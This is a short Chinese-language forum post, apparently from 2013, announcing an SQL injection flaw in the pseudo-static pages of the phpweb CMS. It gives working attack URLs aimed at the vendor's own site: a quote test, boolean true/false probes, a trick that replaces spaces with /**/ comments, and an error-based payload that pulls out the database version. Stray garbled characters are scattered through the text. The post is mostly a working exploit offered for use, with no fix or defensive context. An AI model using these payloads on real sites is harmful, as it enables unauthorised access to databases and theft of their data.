phpweb伪静态页面注入0day

admin

phpweb所有的整站程序伪静态页面都存在sql注入

5 _6 C7 N, S$ V: v主站：http://phpweb.net/
& a5 N, t! I! M/ t* \0 P7 X3 O* L5 N加’检测：
% _9 H# Y: |4 b
http://www.phpweb.net/down/html/?772′.html

出错
存在注入。
* l) k( Z- J  A* m% m! l+ t) P3 \不能用空格，只能用/*罗
# ?& q& ~% p0 }* xhttp://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常
7 N- A; u# N9 }3 \) A
  g# l/ N( X/ C" N" khttp://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
爆数据库版本：

- u; d) U, T5 w?
1
http://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
4 ]  ?# N7 H# A8 S1 i' L, a: \更新日期: 2013-01-03 13:39:50